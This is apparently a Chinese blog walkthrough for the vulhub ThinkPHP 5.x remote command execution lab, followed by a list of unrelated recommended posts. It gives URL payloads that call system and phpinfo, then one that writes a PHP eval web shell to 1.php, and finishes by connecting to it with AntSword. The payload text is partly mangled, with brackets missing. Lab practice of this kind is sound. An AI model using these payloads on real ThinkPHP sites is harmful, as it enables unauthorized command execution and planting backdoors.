Thinkphp5x远程命令执行 靶场攻略

环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://172.16.1.198:8080/

2.远程命令执⾏

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1

\[\]=whoami

3.远程代码执行

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars[

1]\[\]=-1

4.写入一句话木马到根目录下的1.php

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>" > 1.php

5.蚁剑连接

相关推荐
玉宇夕落10 小时前
别再死磕 Prompt 了!上下文工程 (Context Engineering) 的简单学习
后端
用户342323237631710 小时前
定时器与 PWM 输出详解
后端
Jason_chen11 小时前
Linux 6.2 CAN/CANFD机制详解
后端
plainGeekDev12 小时前
GreenDAO → Room
android·java·kotlin
Apifox12 小时前
Apifox 6 月更新|Apifox CLI 全面升级、导入导出优化、OAuth 2.0 支持自动刷新令牌
前端·后端·测试
悟空瞎说12 小时前
NestJS 接口设计避坑:摒弃万能用户更新接口,落地单一职责与最小权限原则
后端·nestjs
smallyoung12 小时前
Spring AI 2.0 VectorStore实战:从原理到RAG落地
人工智能·后端
jiayou6412 小时前
KingbaseES 表级与列级加密完全指南
数据库·后端
青丘12 小时前
Spring AI整合Milvus向量数据库实战
后端